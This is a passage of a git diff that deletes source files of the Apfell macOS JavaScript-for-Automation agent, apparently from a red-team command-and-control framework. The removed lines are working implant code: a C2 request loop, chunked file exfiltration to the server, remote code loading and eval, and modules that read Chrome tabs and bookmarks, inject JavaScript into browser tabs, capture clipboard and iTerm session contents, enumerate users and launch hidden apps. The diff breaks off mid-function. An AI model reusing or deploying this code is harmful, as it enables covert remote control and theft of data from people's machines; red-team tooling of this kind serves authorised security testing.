- req = this.create_message(this.get_random_element(this.post_messages), data, uid, method);
- }else{
- req = this.create_message(this.get_random_element(this.get_messages), data, uid, method);
- }
- }else{
- if(this.get_messages.length > 0){
- req = this.create_message(this.get_random_element(this.get_messages), data, uid, method);
- }else{
- req = this.create_message(this.get_random_element(this.post_messages), data, uid, method);
- }
- }
- //for some reason it sometimes randomly fails to send the data, throwing a JSON error. loop to fix for now
- let response = Ref();
- let error = Ref();
- let responseData = $.NSURLConnection.sendSynchronousRequestReturningResponseError(req,response,error);
- responseData = this.retrieve_message(responseData, method);
- if( responseData.length < 36){
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time());
- continue;
- }
- let resp = $.NSData.alloc.initWithBase64Encoding(responseData);
- let uuid_range = $.NSMakeRange(0, 36);
- let message_range = $.NSMakeRange(36, resp.length - 36);
- let uuid = $.NSString.alloc.initWithDataEncoding(resp.subdataWithRange(uuid_range), $.NSUTF8StringEncoding).js;
- //console.log("carving out rest of message");
- if(uuid !== apfell.uuid && uuid !== apfell.id && uuid !== uid){
- //console.log("id doesn't match: " + uuid);
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time());
- continue;
- }
- resp = resp.subdataWithRange(message_range); //could either be plaintext json or encrypted bytes
- //we're not doing the initial key exchange
- if(this.aes_psk !== ""){
- //if we do need to decrypt the response though, do that
- resp = ObjC.unwrap(this.decrypt_message(resp));
- return JSON.parse(resp);
- }else{
- //we don't need to decrypt it, so we can just parse and return it
- return JSON.parse(ObjC.deepUnwrap($.NSString.alloc.initWithDataEncoding(resp, $.NSUTF8StringEncoding)));
- }
- }
- catch(error){
- //console.log("error in make_request: " + error.toString());
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time()); // don't spin out crazy if the connection fails
- }
- }
- }
- download(task, params){
- let output = "";
- if( does_file_exist(params)){
- let offset = 0;
- let chunkSize = this.chunk_size; //3500;
- let full_path = params;
- try{
- let fm = $.NSFileManager.defaultManager;
- let pieces = ObjC.deepUnwrap(fm.componentsToDisplayForPath(params));
- full_path = "/" + pieces.slice(1).join("/");
- var handle = $.NSFileHandle.fileHandleForReadingAtPath(full_path);
- // Get the file size by seeking;
- var fileSize = handle.seekToEndOfFile;
- }catch(error){
- return {'status': 'error', 'user_output': error.toString(), "completed": true};
- }
- // always round up to account for chunks that are < chunksize;
- let numOfChunks = Math.ceil(fileSize / chunkSize);
- let registerData = {'total_chunks': numOfChunks, "full_path": full_path};
- let registerFile = this.postResponse(task, registerData);
- if (registerFile['responses'][0]['status'] === "success"){
- handle.seekToFileOffset(0);
- let currentChunk = 1;
- let data = handle.readDataOfLength(chunkSize);
- while(parseInt(data.length) > 0 && offset < fileSize){
- // send a chunk
- let fileData = {'chunk_num': currentChunk, 'chunk_data': data.base64EncodedStringWithOptions(0).js, 'file_id': registerFile['responses'][0]['file_id']};
- let response = this.postResponse(task, fileData);
- if(response['responses'][0]['status'] === 'success'){
- offset += parseInt(data.length);
- handle.seekToFileOffset(offset);
- currentChunk += 1;
- data = handle.readDataOfLength(chunkSize);
- }
- $.NSThread.sleepForTimeInterval(this.gen_sleep_time());
- }
- output = {"completed":true, "file_id": registerFile['responses'][0]['file_id']};
- }
- else{
- output = {'status': 'error', 'user_output': "Failed to register file to download", "completed": true};
- }
- }
- else{
- output = {'status': 'error', 'user_output': "file does not exist", "completed": true};
- }
- return output;
- }
- upload(task, file_id, full_path){
- try{
- let data = {"action": "upload", "file_id": file_id, "chunk_size": this.chunk_size, "chunk_num": 1, "full_path": full_path, "task_id": task.id};
- let chunk_num = 1;
- let total_chunks = 1;
- let total_data = $.NSMutableData.dataWithLength(0);
- do{
- let file_data = this.make_request("POST", apfell.id, data);
- if(file_data['chunk_num'] === 0){
- return {'status': 'error', 'user_output': "Error from the server", "completed": true};
- }
- chunk_num = file_data['chunk_num'];
- total_chunks = file_data['total_chunks'];
- total_data.appendData($.NSData.alloc.initWithBase64Encoding($(file_data['chunk_data'])));
- data = {"action": "upload", "file_id": file_id, "chunk_size": this.chunk_size, "chunk_num": chunk_num + 1, "task_id": task.id};
- }while(chunk_num < total_chunks);
- return total_data;
- }catch(error){
- return {'status': 'error', 'user_output': error.toString(), "completed": true};
- }
- }
-}
-//------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
-ObjC.import('Security');
-C2 = new customC2();
diff --git a/Payload_Types/apfell/agent_code/cat.js b/Payload_Types/apfell/agent_code/cat.js
deleted file mode 100755
index 8a352b047..000000000
--- a/Payload_Types/apfell/agent_code/cat.js
+++ /dev/null
@@ -1,23 +0,0 @@
-exports.cat = function(task, command, params){
- try{
- let command_params = JSON.parse(params);
- if(!command_params.hasOwnProperty('path')){return {"user_output": "Missing path parameter", "completed": true, "status": "error"}}
- let contents = $.NSString.stringWithContentsOfFileEncodingError($(command_params['path']), $.NSUTF8StringEncoding, $()).js;
- if(contents === ""){
- return {"user_output": "No output from command", "completed": true};
- }
- else if(contents === true){
- return {"user_output": "True", "completed": true};
- }
- else if(contents === false){
- return{"user_output": "False", "completed": true};
- }
- else if(contents === undefined){
- return {"user_output": "Failed to read file. Either you don't have permissions or the file doesn't exist", "completed": true, "status": "error"};
- }
- return {"user_output": contents, "completed": true};
- }
- catch(error){
- return {"user_output": error.toString(), "status": "error", "completed": true};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/cd.js b/Payload_Types/apfell/agent_code/cd.js
deleted file mode 100755
index 64197ba7a..000000000
--- a/Payload_Types/apfell/agent_code/cd.js
+++ /dev/null
@@ -1,15 +0,0 @@
-exports.cd = function(task, command, params){
- try{
- let command_params = JSON.parse(params);
- if(!command_params.hasOwnProperty('path')){return {"user_output": "Missing path parameter", "completed": true, "status": "error"}}
- let fileManager = $.NSFileManager.defaultManager;
- let success = fileManager.changeCurrentDirectoryPath(command_params['path']);
- if(success){
- return {"user_output": "New cwd: " + fileManager.currentDirectoryPath.js, "completed": true};
- }else{
- return {"user_output": "Failed to change directory", "completed": true, "status": "error"};
- }
- }catch(error){
- return {"user_output": error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/chrome_bookmarks.js b/Payload_Types/apfell/agent_code/chrome_bookmarks.js
deleted file mode 100755
index e8649b543..000000000
--- a/Payload_Types/apfell/agent_code/chrome_bookmarks.js
+++ /dev/null
@@ -1,31 +0,0 @@
-exports.chrome_bookmarks = function(task, command, params){
- let all_data = [];
- try{
- let ch = Application("Google Chrome");
- if(ch.running()){
- let folders = ch.bookmarkFolders;
- for (let i = 0; i < folders.length; i ++){
- let folder = folders[i];
- let bookmarks = folder.bookmarkItems;
- all_data.push("Folder Name: " + folder.title());
- for (let j = 0; j < bookmarks.length; j++){
- let info = "Title: " + bookmarks[j].title() +
- "\nURL: " + bookmarks[j].url() +
- "\nindex: " + bookmarks[j].index() +
- "\nFolder/bookmark: " + i + "/" + j;
- all_data.push(info); //populate our array
- }
- }
- }
- else{
- return {"user_output": "Chrome is not running", "completed": true, "status": "error"};
- }
- }catch(error){
- let err = error.toString();
- if(err === "Error: An error occurred."){
- err += " Apfell was denied access to Google Chrome (either by popup or prior deny).";
- }
- return {"user_output":err, "completed": true, "status": "error"};
- }
- return {"user_output": all_data, "completed": true};
-};
diff --git a/Payload_Types/apfell/agent_code/chrome_js.js b/Payload_Types/apfell/agent_code/chrome_js.js
deleted file mode 100755
index d63e33c38..000000000
--- a/Payload_Types/apfell/agent_code/chrome_js.js
+++ /dev/null
@@ -1,23 +0,0 @@
-exports.chrome_js = function(task, command, params){
- try{
- let split_params = JSON.parse(params);
- let window = split_params['window'];
- let tab = split_params['tab'];
- let jscript = split_params['javascript'];
- if(Application("Google Chrome").running()){
- let result = Application("Google Chrome").windows[window].tabs[tab].execute({javascript:jscript});
- if(result !== undefined){
- return {"user_output": String(result), "completed": true};
- }
- return {"user_output":"completed", "completed": true};
- }else{
- return {"user_output":"Chrome isn't running", "completed": true, "status": "error"};
- }
- }catch(error){
- let err = error.toString();
- if(err === "Error: An error occurred."){
- err += " Apfell was denied access to Google Chrome (either by popup or prior deny).";
- }
- return {"user_output":err, "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/chrome_tabs.js b/Payload_Types/apfell/agent_code/chrome_tabs.js
deleted file mode 100755
index 70b0b5208..000000000
--- a/Payload_Types/apfell/agent_code/chrome_tabs.js
+++ /dev/null
@@ -1,25 +0,0 @@
-exports.chrome_tabs = function(task, command, params){
- let tabs = {};
- try{
- let ch = Application("Google Chrome");
- if(ch.running()){
- for (let i = 0; i < ch.windows.length; i++){
- let win = ch.windows[i];
- tabs["Window " + i] = {};
- for (let j = 0; j < win.tabs.length; j++){
- let tab = win.tabs[j];
- tabs["Window " + i]["Tab " + j] = {"title": tab.title(), "url": tab.url()};
- }
- }
- }else{
- return {"user_output": "Chrome is not running", "completed": true, "status": "error"};
- }
- }catch(error){
- let err = error.toString();
- if(err === "Error: An error occurred."){
- err += " Apfell was denied access to Google Chrome (either by popup or prior deny).";
- }
- return {"user_output":err, "completed": true, "status": "error"};
- }
- return {"user_output": JSON.stringify(tabs, null, 2), "completed": true};
-};
diff --git a/Payload_Types/apfell/agent_code/clipboard.js b/Payload_Types/apfell/agent_code/clipboard.js
deleted file mode 100755
index 6caf7334d..000000000
--- a/Payload_Types/apfell/agent_code/clipboard.js
+++ /dev/null
@@ -1,44 +0,0 @@
-exports.clipboard = function(task, command, params){
- ObjC.import('AppKit');
- let parsed_params;
- try{
- parsed_params = JSON.parse(params);
- }catch(error){
- return {"user_output": "Failed to parse parameters", "status": "error", "completed": true};
- }
- if(parsed_params.hasOwnProperty("data") && parsed_params['data'].length > 0){
- // Try setting the clipboard to whatever is in params
- try{
- $.NSPasteboard.generalPasteboard.clearContents;
- $.NSPasteboard.generalPasteboard.setStringForType($(parsed_params['data']), $.NSPasteboardTypeString);
- return {"user_output": "Successfully set the clipboard", "completed": true};
- }
- catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
- }
- else{
- //try just reading the clipboard data and returning it
- if(parsed_params['types'].length === 0){
- parsed_params['types'].push("public.utf8-plain-text");
- }
- try{
- let pb = $.NSPasteboard.generalPasteboard;
- let types = pb.types.js;
- let clipboard = {};
- for(let i = 0; i < types.length; i++){
- let typejs = types[i].js;
- clipboard[typejs] = pb.dataForType(types[i]);
- if(clipboard[typejs].js !== undefined && (parsed_params['types'].includes(typejs) || parsed_params['types'][0] == "*")){
- clipboard[typejs] = clipboard[typejs].base64EncodedStringWithOptions(0).js;
- }else{
- clipboard[typejs] = "";
- }
- }
- return {"user_output": JSON.stringify(clipboard, null, 4), "completed": true};
- }
- catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
- }
-};
diff --git a/Payload_Types/apfell/agent_code/current_user.js b/Payload_Types/apfell/agent_code/current_user.js
deleted file mode 100755
index 6980d3c56..000000000
--- a/Payload_Types/apfell/agent_code/current_user.js
+++ /dev/null
@@ -1,30 +0,0 @@
-exports.current_user = function(task, command, params){
- try{
- let method = "api";
- if(params.length > 0){
- let data = JSON.parse(params);
- if(data.hasOwnProperty('method') && data['method'] !== ""){
- method = data['method'];
- }
- }
- if(method === "jxa"){
- let user = Application("System Events").currentUser;
- let info = "Name: " + user.name() +
- "\nFullName: " + user.fullName() +
- "\nhomeDirectory: " + user.homeDirectory() +
- "\npicturePath: " + user.picturePath();
- return {"user_output":info, "completed": true};
- }
- else if(method === "api"){
- let output = "\nUserName: " + $.NSUserName().js +
- "\nFull UserName: " + $.NSFullUserName().js +
- "\nHome Directory: " + $.NSHomeDirectory().js;
- return {"user_output":output, "completed": true};
- }
- else{
- return {"user_output":"Method not supported", "completed": true, "status": "error"};
- }
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/download.js b/Payload_Types/apfell/agent_code/download.js
deleted file mode 100755
index cae93ce6c..000000000
--- a/Payload_Types/apfell/agent_code/download.js
+++ /dev/null
@@ -1,13 +0,0 @@
-exports.download = function(task, command, params){
- try{
- if(params === "" || params === undefined){return {'user_output': "Must supply a path to a file to download", "completed": true, "status": "error"}; }
- let status = C2.download(task, params);
- if(status.hasOwnProperty("file_id")){
- status['user_output'] = "Finished Downloading";
- }
- return status;
- }catch(error){
- return {'user_output': error.toString(), "completed": true, "status": "error"};
- }
-
-};
diff --git a/Payload_Types/apfell/agent_code/exit.js b/Payload_Types/apfell/agent_code/exit.js
deleted file mode 100755
index b3fc84813..000000000
--- a/Payload_Types/apfell/agent_code/exit.js
+++ /dev/null
@@ -1,6 +0,0 @@
-exports.exit = function(task, command, params){
- ObjC.import("AppKit");
- C2.postResponse(task, {"completed": true, "user_output": "Exiting"});
- $.NSApplication.sharedApplication.terminate($.nil);
- $.NSThread.exit();
-};
diff --git a/Payload_Types/apfell/agent_code/get_config.js b/Payload_Types/apfell/agent_code/get_config.js
deleted file mode 100755
index 5c6e6dc9f..000000000
--- a/Payload_Types/apfell/agent_code/get_config.js
+++ /dev/null
@@ -1,4 +0,0 @@
-exports.get_config = function(task, command, params){
- let config = C2.getConfig();
- return {"user_output":config, "completed": true};
-};
diff --git a/Payload_Types/apfell/agent_code/hostname.js b/Payload_Types/apfell/agent_code/hostname.js
deleted file mode 100644
index 03b59aafd..000000000
--- a/Payload_Types/apfell/agent_code/hostname.js
+++ /dev/null
@@ -1,16 +0,0 @@
-exports.hostname = function(task, command, params){
- let output = {};
- output['localized'] = ObjC.deepUnwrap($.NSHost.currentHost.localizedName);
- output['names'] = ObjC.deepUnwrap($.NSHost.currentHost.names);
- let fileManager = $.NSFileManager.defaultManager;
- if(fileManager.fileExistsAtPath("/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist")){
- let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist");
- let contents = ObjC.deepUnwrap(dict);
- output['Local Kerberos Realm'] = contents['LocalKerberosRealm'];
- output['NETBIOS Name'] = contents['NetBIOSName'];
- output['Server Description'] = contents['ServerDescription'];
- }
- return {"user_output": JSON.stringify(output, null, 2), "completed": true};
-};
-
-
\ No newline at end of file
diff --git a/Payload_Types/apfell/agent_code/iTerm.js b/Payload_Types/apfell/agent_code/iTerm.js
deleted file mode 100755
index a1280510a..000000000
--- a/Payload_Types/apfell/agent_code/iTerm.js
+++ /dev/null
@@ -1,29 +0,0 @@
-exports.iTerm = function(task, command, params){
- try{
- let term = Application("iTerm");
- if(!term.running()){
- term = Application("iTerm2"); // it might be iTerm2 instead of iTerm in some instances, try both
- }
- let output = {};
- if(term.running()){
- for(let i = 0; i < term.windows.length; i++){
- let window = {};
- for(let j = 0; j < term.windows[i].tabs.length; j++){
- let tab_info = {};
- tab_info['tty'] = term.windows[i].tabs[j].currentSession.tty();
- tab_info['name'] = term.windows[i].tabs[j].currentSession.name();
- tab_info['contents'] = term.windows[i].tabs[j].currentSession.contents();
- tab_info['profileName'] = term.windows[i].tabs[j].currentSession.profileName();
- window["Tab: " + j] = tab_info;
- }
- output["Window: " + i] = window;
- }
- return {"user_output":JSON.stringify(output, null, 2), "completed": true};
- }
- else{
- return {"user_output":"iTerm isn't running", "completed": true, "status": "error"};
- }
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/ifconfig.js b/Payload_Types/apfell/agent_code/ifconfig.js
deleted file mode 100644
index 2516ed9e4..000000000
--- a/Payload_Types/apfell/agent_code/ifconfig.js
+++ /dev/null
@@ -1,4 +0,0 @@
-exports.ifconfig = function(task, command, params){
- return {"user_output": JSON.stringify(ObjC.deepUnwrap($.NSHost.currentHost.addresses), null, 2), "completed": true};
-};
-
diff --git a/Payload_Types/apfell/agent_code/jscript.js b/Payload_Types/apfell/agent_code/jscript.js
deleted file mode 100755
index ec16398ce..000000000
--- a/Payload_Types/apfell/agent_code/jscript.js
+++ /dev/null
@@ -1,25 +0,0 @@
-exports.jscript = function(task, command, params){
- //simply eval a javascript string and return the response
- let response = "";
- try{
- let command_params = JSON.parse(params);
- if(!command_params.hasOwnProperty("command")){ return {"user_output": "Missing command parameter", "status": "error", "completed": true};}
- response = ObjC.deepUnwrap(eval(command_params['command']));
- }
- catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
- if(response === undefined || response === ""){
- response = "No Command Output";
- }
- if(response === true){
- response = "True";
- }
- if(response === false){
- response = "False";
- }
- if(typeof(response) != "string"){
- response = String(response);
- }
- return {"user_output":response, "completed": true};
-};
diff --git a/Payload_Types/apfell/agent_code/jsimport.js b/Payload_Types/apfell/agent_code/jsimport.js
deleted file mode 100755
index 73289fdf4..000000000
--- a/Payload_Types/apfell/agent_code/jsimport.js
+++ /dev/null
@@ -1,21 +0,0 @@
-exports.jsimport = function(task,command,params){
- let script = "";
- try{
- let config = JSON.parse(params);
- if(config.hasOwnProperty("file")){
- let script_data = C2.upload(task, config['file']);
- if(typeof script_data === "string"){
- return{"user_output":"Failed to get contents of file", "completed": true, "status": "error"};
- }
- script = ObjC.unwrap($.NSString.alloc.initWithDataEncoding(script_data, $.NSUTF8StringEncoding));
- }
- else{
- return {"user_output":"Need to supply a valid file to download", "completed": true, "status": "error"};
- }
- jsimport = script;
- return {"user_output":"Imported the script", "completed": true};
- }
- catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/jsimport_call.js b/Payload_Types/apfell/agent_code/jsimport_call.js
deleted file mode 100755
index c7c6efe82..000000000
--- a/Payload_Types/apfell/agent_code/jsimport_call.js
+++ /dev/null
@@ -1,23 +0,0 @@
-exports.jsimport_call = function(task, command, params){
- try{
- let command_params = JSON.parse(params);
- if(!command_params.hasOwnProperty('command')){ return {"user_output": "missing command parameter", "status": "error", "completed": true};}
- let output = ObjC.deepUnwrap(eval(jsimport + "\n " + command_params['command']));
- if(output === "" || output === undefined){
- return {"user_output":"No command output", "completed": true};
- }
- if(output === true){
- return {"user_output":"True", "completed": true};
- }
- if(output === false){
- return{"user_output":"False", "completed": true};
- }
- if(typeof(output) != "string"){
- output = String(output);
- }
- return {"user_output":output, "completed": true};
- }
- catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/launchapp.js b/Payload_Types/apfell/agent_code/launchapp.js
deleted file mode 100755
index c83ce5729..000000000
--- a/Payload_Types/apfell/agent_code/launchapp.js
+++ /dev/null
@@ -1,20 +0,0 @@
-exports.launchapp = function(task, command, params){
- //this should be the bundle identifier like com.apple.itunes to launch
- //it will launch hidden, asynchronously, and will be 'hidden' (still shows up in the dock though)
- let response = "";
- try{
- let command_params = JSON.parse(params);
- if(!command_params.hasOwnProperty('bundle')){ return {"user_output": "missing bundle identifier", "completed": true, "status": "error"}}
- ObjC.import('AppKit');
- $.NSWorkspace.sharedWorkspace.launchAppWithBundleIdentifierOptionsAdditionalEventParamDescriptorLaunchIdentifier(
- command_params['bundle'],
- $.NSWorkspaceLaunchAsync | $.NSWorkspaceLaunchAndHide | $.NSWorkspaceLaunchWithoutAddingToRecents,
- $.NSAppleEventDescriptor.nullDescriptor,
- null
- );
- return {"user_output":"Program launched", "completed": true};
- }
- catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/list_apps.js b/Payload_Types/apfell/agent_code/list_apps.js
deleted file mode 100755
index b4eef5a80..000000000
--- a/Payload_Types/apfell/agent_code/list_apps.js
+++ /dev/null
@@ -1,33 +0,0 @@
-exports.list_apps = function(task, command, params){
- ObjC.import('AppKit');
- try{
- let names = [];
- let procs = $.NSWorkspace.sharedWorkspace.runningApplications.js;
- for(let i = 0; i < procs.length; i++){
- let info = {};
- info['frontMost'] = procs[i].active;
- info['hidden'] = procs[i].hidden;
- info['bundle'] = procs[i].bundleIdentifier.js;
- info['bundleURL'] = procs[i].bundleURL.path.js;
- info['bin_path'] = procs[i].executableURL.path.js;
- info['process_id'] = procs[i].processIdentifier;
- info['name'] = procs[i].localizedName.js;
- if(procs[i].executableArchitecture === "16777223"){
- info['architecture'] = "x64";
- }
- else if(procs[i].executableArchitecture === "7"){
- info['architecture'] = "x86";
- }
- else if(procs[i].executableArchitecture === "18"){
- info['architecture'] = "x86_PPC";
- }
- else if(procs[i].executableArchitecture === "16777234"){
- info['architecture'] = "x86_64_PPC";
- }
- names.push(info);
- }
- return {"user_output":JSON.stringify(names, null, 2), "completed": true};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/list_users.js b/Payload_Types/apfell/agent_code/list_users.js
deleted file mode 100755
index 7ed611916..000000000
--- a/Payload_Types/apfell/agent_code/list_users.js
+++ /dev/null
@@ -1,99 +0,0 @@
-exports.list_users = function(task, command, params){
- let all_users = [];
- let gid = -1;
- let groups = false;
- if(params.length > 0){
- let data = JSON.parse(params);
- if(data.hasOwnProperty('gid') && data['gid'] !== "" && data['gid'] > 0){
- gid = data['gid'];
- }
- if(data.hasOwnProperty("groups") && data['groups'] !== ""){
- groups = data['groups'];
- }
- }
- ObjC.import('Collaboration');
- ObjC.import('CoreServices');
- if(gid < 0){
- let defaultAuthority = $.CSGetLocalIdentityAuthority();
- let identityClass = 2;
- if(groups){
- all_users = []; // we will want to do a dictionary so we can group the members by their GID
- }
- else{
- identityClass = 1; //enumerate users
- }
- let query = $.CSIdentityQueryCreate($(), identityClass, defaultAuthority);
- let error = Ref();
- $.CSIdentityQueryExecute(query, 0, error);
- let results = $.CSIdentityQueryCopyResults(query);
- let numResults = parseInt($.CFArrayGetCount(results));
- if(results.js === undefined){
- results = $.CFMakeCollectable(results);
- }
- for(let i = 0; i < numResults; i++){
- let identity = results.objectAtIndex(i);//results[i];
- let idObj = $.CBIdentity.identityWithCSIdentity(identity);
- if(groups){
- //if we're looking at groups, then we have a different info to print out
- all_users[i] = {};
- all_users[i]["POSIXID"] = idObj.posixGID;
- all_users[i]['aliases'] = ObjC.deepUnwrap(idObj.aliases);
- all_users[i]['fullName'] = ObjC.deepUnwrap(idObj.fullName);
- all_users[i]['POSIXName'] = ObjC.deepUnwrap(idObj.posixName);
- all_users[i]['members'] = [];
- let members = idObj.memberIdentities.js;
- for(let j = 0; j < members.length; j++){
- let info = {
- "POSIXName": members[j].posixName.js,
- "POSIXID": members[j].posixUID,
- "LocalAuthority": members[j].authority.localizedName.js,
- "FullName": members[j].fullName.js,
- "Emails": members[j].emailAddress.js,
- "isHiddenAccount": members[j].isHidden,
- "Enabled": members[j].isEnabled,
- "Aliases": ObjC.deepUnwrap(members[j].aliases),
- "UUID": members[j].UUIDString.js
- };
- all_users[i]['members'].push(info);
- }
- }
- else{
- let info = {
- "POSIXName": idObj.posixName.js,
- "POSIXID": idObj.posixUID,
- "LocalAuthority": idObj.authority.localizedName.js,
- "FullName": idObj.fullName.js,
- "Emails": idObj.emailAddress.js,
- "isHiddenAccount": idObj.isHidden,
- "Enabled": idObj.isEnabled,
- "Aliases": ObjC.deepUnwrap(idObj.aliases),
- "UUID": idObj.UUIDString.js
- };
- all_users.push(info);
- }
- }
- }
- else{
- let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
- let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
- let results = group.memberIdentities.js;
- let numResults = results.length;
- for(let i = 0; i < numResults; i++){
- let idObj = results[i];
- let info = {
- "POSIXName": idObj.posixName.js,
- "POSIXID": idObj.posixUID,
- "LocalAuthority": idObj.authority.localizedName.js,
- "FullName": idObj.fullName.js,
- "Emails": idObj.emailAddress.js,
- "isHiddenAccount": idObj.isHidden,
- "Enabled": idObj.isEnabled,
- "Aliases": ObjC.deepUnwrap(idObj.aliases),
- "UUID": idObj.UUIDString.js
- };
- all_users.push(info);
- }
- }
- return {"user_output":JSON.stringify(all_users, null, 2), "completed": true};
-};
-
diff --git a/Payload_Types/apfell/agent_code/load.js b/Payload_Types/apfell/agent_code/load.js
deleted file mode 100755
index 61e9b848b..000000000
--- a/Payload_Types/apfell/agent_code/load.js
+++ /dev/null
@@ -1,26 +0,0 @@
-exports.load = function(task, command, params){
- //base64 decode the params and pass it to the default_load command
- // params should be {"cmds": "cmd1 cmd2 cmd3", "file_id": #}
- try{
- let parsed_params = JSON.parse(params);
- let code = C2.upload(task, parsed_params['file_id'], "");
- if(typeof code === "string"){
- return {"user_output":String(code), "completed": true, "status": "error"};
- //something failed, we should have NSData type back
- }
- let new_dict = default_load(base64_decode(code));
- commands_dict = Object.assign({}, commands_dict, new_dict);
- // update the config with our new information
- C2.commands = Object.keys(commands_dict);
- let cmds = parsed_params['cmds'].split(" ")
- let cmd_list = [];
- for(let i = 0; i < cmds.length; i++){
- cmd_list.push({"action": "add", "cmd": cmds[i]})
- }
- return {"user_output": "Loaded " + parsed_params['cmds'], "commands": cmd_list, "completed": true};
- }
- catch(error){
- //console.log("errored in load function");
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/ls.js b/Payload_Types/apfell/agent_code/ls.js
deleted file mode 100755
index 4b1c6e9cf..000000000
--- a/Payload_Types/apfell/agent_code/ls.js
+++ /dev/null
@@ -1,123 +0,0 @@
-exports.ls = function(task, command, params){
- ObjC.import('Foundation');
- let output = {};
- try {
- let command_params = JSON.parse(params);
- let fileManager = $.NSFileManager.defaultManager;
- let error = Ref();
- let path = command_params['path'];
- if (path === "" || path === ".") {
- path = fileManager.currentDirectoryPath.js;
- if (path === undefined || path === "") {
- return {
- "user_output": "Failed to get current working directory",
- "completed": true,
- "status": "error"
- };
- }
- }
- if (path[0] === '"') {
- path = path.substring(1, path.length - 1);
- }
- if(path[0] === '~'){
- path = $(path).stringByExpandingTildeInPath.js;
- }
- output['host'] = ObjC.unwrap(apfell.procInfo.hostName);
- let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), error));
- if (attributes !== undefined) {
- output['is_file'] = true;
- output['files'] = [];
- if (attributes.hasOwnProperty('NSFileType') && attributes['NSFileType'] === "NSFileTypeDirectory") {
- let error = Ref();
- output['is_file'] = false;
- let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError($(path), error));
- if (files !== undefined) {
- let files_data = [];
- output['success'] = true;
- let sub_files = files;
- if (path[path.length - 1] !== "/") {
- path = path + "/";
- }
- for (let i = 0; i < sub_files.length; i++) {
- let attr = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
- let file_add = {};
- file_add['name'] = sub_files[i];
- file_add['is_file'] = attr['NSFileType'] !== "NSFileTypeDirectory";
- let plistPerms = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), $()));
- if(plistPerms['NSFileExtendedAttributes'] !== undefined){
- let extended = {};
- let perms = plistPerms['NSFileExtendedAttributes'].js;
- for(let j in perms){
- extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
- }
- file_add['permissions'] = extended;
- }else{
- file_add['permissions'] = {};
- }
- file_add['size'] = attr['NSFileSize'];
- let nsposix = attr['NSFilePosixPermissions'];
- // we need to fix this mess to actually be real permission bits that make sense
- file_add['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
- file_add['permissions']['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")";
- file_add['permissions']['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")";
- file_add['permissions']['hidden'] = attr['NSFileExtenionAttribute'] === true;
- file_add['permissions']['create_time'] = attributes['NSFileCreationDate'];
- file_add['modify_time'] = attributes['NSFileModificationDate'];
- file_add['access_time'] = "";
- files_data.push(file_add);
- }
- output['files'] = files_data;
- }
- else{
- output['success'] = false;
- }
- }
- let nsposix = attributes['NSFilePosixPermissions'];
- let components = ObjC.deepUnwrap( fileManager.componentsToDisplayForPath(path) ).slice(1, -1);
- if( components.length > 0 && components[0] === "Macintosh HD"){
- components.pop();
- }
- output['parent_path'] = "/" + components.join("/");
- output['name'] = fileManager.displayNameAtPath(path).js;
- if(output['name'] === "Macintosh HD"){output['name'] = "/";}
- if(output['name'] === output['parent_path']){output['parent_path'] = "";}
- output['size'] = attributes['NSFileSize'];
- output['access_time'] = "";
- output['modify_time'] = attributes['NSFileModificationDate'];
- if(attributes['NSFileExtendedAttributes'] !== undefined){
- let extended = {};
- let perms = attributes['NSFileExtendedAttributes'].js;
- for(let j in perms){
- extended[j] = perms[j].base64EncodedStringWithOptions(0).js;
- }
- output['permissions'] = extended;
- }else{
- output['permissions'] = {};
- }
- output['permissions']['create_time'] = attributes['NSFileCreationDate'];
- output['permissions']['posix'] =((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
- output['permissions']['owner'] = attributes['NSFileOwnerAccountName'] + "(" + attributes['NSFileOwnerAccountID'] + ")";
- output['permissions']['group'] = attributes['NSFileGroupOwnerAccountName'] + "(" + attributes['NSFileGroupOwnerAccountID'] + ")";
- output['permissions']['hidden'] = attributes['NSFileExtensionHidden'] === true;
- if(command_params['file_browser'] === "true"){
- return {"file_browser": output, "completed": true, "user_output": "added data to file browser"};
- }else{
- return {"file_browser": output, "completed": true, "user_output": JSON.stringify(output, null, 6)};
- }
- }
- else{
- return {
- "user_output": "Failed to get attributes of file. File doesn't exist or you don't have permission to read it",
- "completed": true,
- "status": "error"
- };
- }
-
- }catch(error){
- return {
